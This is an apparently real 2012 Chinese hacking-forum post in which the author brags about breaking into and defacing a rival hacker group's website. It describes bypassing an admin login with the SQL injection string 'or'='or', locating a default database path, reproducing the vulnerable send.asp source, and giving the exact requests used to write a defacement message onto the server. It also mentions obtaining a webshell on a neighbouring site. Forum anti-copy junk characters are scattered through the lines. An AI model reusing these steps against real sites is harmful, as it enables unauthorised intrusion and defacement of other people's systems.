中国网络渗透测试联盟

标题: 入侵华东黑客联盟装X的过程 [打印本页]

---

作者: admin    时间: 2012-11-6 21:06
标题: 入侵华东黑客联盟装X的过程
有些朋友对我和云中鹰搞华东的过程比较感兴趣，其实那个很没技术含量
今天闲着无聊，把手上的项目葛一下，来论坛放松一下，顺便说说上次搞华东黑客联盟到装B的过程
这天云中鸡说华东的某人很牛X，利用JPG黑站大法把恶灵战队黑了，还发了个demo出来
我去看了一下demo，感觉很黑客，于是就和云中鸡搞了一下华东
' R4 d6 _6 O  r' m- i: v5 B. [首先，我记得华东只被人搞过一次（记性不好，原谅下~~），所以应该防护还是比较好的
0 Y# n: D- @* ~* o$ o# k服务器应该防ARP，不过这还只是猜测
( p$ p& d" ]  |6 C' L5 O! y云中鸡说先不搞C段，PZ一下再说
! N) }4 C) N6 q/ \5 M: |5 N8 w然后我就打开了链接标记[url=http://www.3hack.comwww.3hack.com[/url[/url]]
* m! _1 u( k( P, H一看，我晕，怎么网站变了................以前我比较喜欢到华东去看动画，现在怎么变成这鸟样了，晕..............
% y, H; w6 P. [6 i* i0 t) A# c7 }( }; o这时候云中鸡丢了一个同F的站过来，说进了后台搞不了shell
& o: X9 h, T0 a% S8 y; G' M; Q我看了下搞到了一个webshell出来（这里涉及点技巧，不过不是重点，故省略....），登上webshell后发现服务器的权限很BT
然后我就把shell丢给云中鸡去提权，过了一会儿找到了一个二级玉米的站shop.xiahack.cn
  u$ }1 Z# p8 J, h" R+ E3 h看着是用eshop来架设的网店，虽然不是同F，但还是想搞下他看有什么可利用的地方，用了几个0day去搞发现不是最新版，0day用不鸟
问了下云中鸡提权怎样了，他说还在努力，装不鸟B就不睡觉，晕了，这下入侵陷入了僵局...............
无聊到网上乱逛，这时无意中发现一个阿拉伯XXXXXX，具体就不说啥鸟，呵呵~~
& Y0 n& U' Q8 A; q1 p: V+ e然后阿拉伯黑客发现了链接标记[url=http://www.3hack.comwww.3hack.com[/url[/url]]上有个xia的目录很可疑，于是我就去看看是什么
打开一看，如图1所示。
1 [( Q7 x  A, Z: j% t5 H+ Q: C
, {3 T, S$ p+ T& Y http://00day.cn/forum/attachment/thumb/6_1_a8d665f343765b2.jpg
- f6 ]1 A# x9 _! ~4 [: t我靠~~这啥东西？这么帅？点进去一看，如图2所示。

& W# g  e% h" I8 V! X http://00day.cn/forum/attachment/thumb/6_1_d741c5c7b6b8a48.jpg
$ A5 l" e# C$ y# n8 C+ H0 A太帅了，真YD！！
" C# |+ w5 T3 i, V: y这个页面应该是一套个人主页程序，而且还挺炫的！
这个页面有发表日志的地方，应该可能存在登陆页面，找了一轮后发现当鼠标放到网页顶端的时候就会弹出登陆页面，如图3所示。
$ \6 e1 S6 Z, R! |, \- y9 G
http://00day.cn/forum/attachment/6_1_b03700cb2fe5d52.jpg
嘿嘿，试着'or'='or'居然进去了！！如图4所示。
, L6 n  A! H  p" X/ V  X
: o, a2 r7 ]: l* H: O http://00day.cn/forum/attachment/6_1_7107004af344a3c.jpg
经过半个多小时的摸索，还是没有发现可利用的地方。
这下郁闷了，不管了，把这套程序下载下来看看吧
找了一会才知道这套程序叫做“V时代个人flash主页”
1 R! v: _) R( g5 w" B: W4 Q+ S' P到官方下了套最新版，然后找了一下可利用的地方，不一会，我发现“/html/admin”这个目录很可能可以利用
7 b" K! J1 s3 N* x于是马上打开链接标记[url=http://www.3hack.com/xia/html/adminhttp://www.3hack.com/xia/html/admin[/url[/url]]
返回的确实找不到页面，郁闷了，输入链接标记[url=http://www.3hack.com/xia/html/http://www.3hack.com/xia/html/[/url[/url]]
' B9 `$ @2 w! F+ S6 ]同样是找不到页面，真晕！再看看！
% e, `& |% n0 W6 H. J- h4 C8 z5分钟过后，我发现后台地址是“/asp”，默认数据库是“/asp/vshidai.mdb”，嘿嘿！这下你不死定了！
. U; s$ L7 c. A; Q8 q! |马上打开链接标记[url=http://www.3hack.com/xia/asp/vshidai.mdbhttp://www.3hack.com/xia/asp/vshidai.mdb[/url[/url]]，我晕！服务器居然设置了mdb后缀映射，下载不了！
' p: E; j+ d: {  }( T打开链接标记[url=http://www.3hack.com/xia/asp/http://www.3hack.com/xia/asp/[/url[/url]]，发现返回空白，这下我真是服了！
希望快覆灭了，这时我点到了根目录下的send.asp文件，看到里面存在着一个有意思的东西，代码如下：

  K! Y  ?& F/ xvar a
( ]+ [4 c) q) X' a% N' L! Pvar b
4 x( S' K3 a) Z! s; }5 m/ c; I4 Gvar tx
+ f- r3 P5 |2 ^" A+ Z6 [" rvar clean
a=Request("re")
! {& F. K& ^8 e0 kclean=Request("clean")
# g, R* T3 w6 P6 |8 ~var jian="test.txt"

1 N# D' h# W+ T* cif(clean==1){
tx="&a="
/ c% }% _7 X/ I+ W, a- I3 r7 Gvar fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
var newdt=fs2.OpenTextFile(Server.MapPath(jian),2,true)
newdt.WriteLine("&a=")
# i: P8 M; z+ j. T  o9 c. Y- L8 Pnewdt.close()
8 `& l) U  R: k! M9 M}
# S+ {, U5 K5 y4 W! S) d: }) Y
5 U5 u: M# ?/ L0 \if(clean==0|clean==1){
tx=""
+ f$ c! P3 M2 Gvar fso = Server.Createobject("Scripting.FileSystemObject")
& T! n. X( j! j: ]* g. ?  _var file = fso.OpenTextFile(Server.Mappath(jian))
7 E# S8 i) }' S4 j' g& y* n: Owhile (!file.AtEndOfStream){
9 k2 f! N8 y& Y3 u) m% J7 }tx=file.ReadLine()
Response.write (tx)
}
Response.write ("&")
1 M  ]* J0 k. }. wfile.close()
}
; \2 l1 @4 b: P2 ?4 @6 p
! a% c2 _$ O' R/ \  E" lif(clean==2){
tx=""
var fso = Server.Createobject("Scripting.FileSystemObject")
var file = fso.OpenTextFile(Server.Mappath(jian))
; l) }0 G4 T0 d& R+ }8 E: q
) t# N8 i( A; T  V8 M/ ]+ wvar fs2
* a/ a0 B5 W6 pvar fs2=Server.CreateObject("Scripting.FileSystemObject")
var newdt=fs2.OpenTextFile(Server.MapPath(jian),8,true)

$ Y( h' t6 J; u  R1 z
while (!file.AtEndOfStream){
3 I/ _/ q; O: \tx=file.ReadLine()
2 U- W# Q3 u" {1 c# X6 p3 b" D+ ?" I) XResponse.write (tx)}
% Y. j- Q: A4 O1 F
% w4 d4 B- A1 ^% R5 a; w4 X; @" sResponse.write (a+"&")
newdt.WriteLine(a)
: ~1 b1 r* }$ A0 j2 K* b7 q
file.close()
newdt.close()
* n0 ^+ {- ]" |3 H7 h}

* M- {, E& v" ^: a# q
复制代码
这下应该可以装B了！从代码看出，我们首先要提交“send.asp?clean=1”来创建一个名为test.txt的文件，文件里面写着“&a=&”
6 c2 |  d9 e6 T, i接下来我们提交“send.asp?clean=2&re=H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”
这样就能在test.txt文件里新建一行并写入“H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”这句话
7 A; {$ P0 M) l" w( f过程如图5、6所示。

& k& d9 T" g; _5 I9 J+ Q3 x# bhttp://00day.cn/forum/attachment/thumb/6_1_cd66a1c03f6682b.jpg
  
) S1 j! R. [% K, G9 d http://00day.cn/forum/attachment/thumb/6_1_942adfb1ce45224.jpg
提交后我们打开链接标记[url=http://www.3hack.com/xia/test.txtwww.3hack.com/xia/test.txt[/url[/url]]看看，如图7所示。
: n" h; |0 ^6 N& [$ o& }
http://00day.cn/forum/attachment/thumb/6_1_10f60a12650b618.jpg
. g- b0 W" t9 ?: ?# e, G4 F这下终于可以装到X了，如果不是V时代的作者写的send.asp代码存在问题，拿到shell是不难的
如果jian是经过request取值的话，同样也能搞到shell。
6 t. i- x! f- ]$ s, P这次只是装到了X，并没有拿到shell
8 b0 H6 x, [* L# x  r5 S- _+ Z; D+ X已经是凌晨了，跟云中J说了声就睡觉去鸟
  ~6 W4 P" _5 a, q0 t估计那B可能搞到了权限，不过我没问他，最近事情比较多，也比较忙
就到这里吧，没技术含量，纯粹装X，高手们见笑了
另外劝告某些认为上传个JPG就能黑到站的大黑客，你这样自欺欺人吃亏的是你自己
' W/ H; e/ V0 i& S, O; W自己学不到技术，却还在自欺欺人
) U; H# D4 \* D& V不说了，本文到这里，最后感谢一下阿拉伯黑客，原来阿拉伯黑客也是很强大的，好了，猪大家愉快~~

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2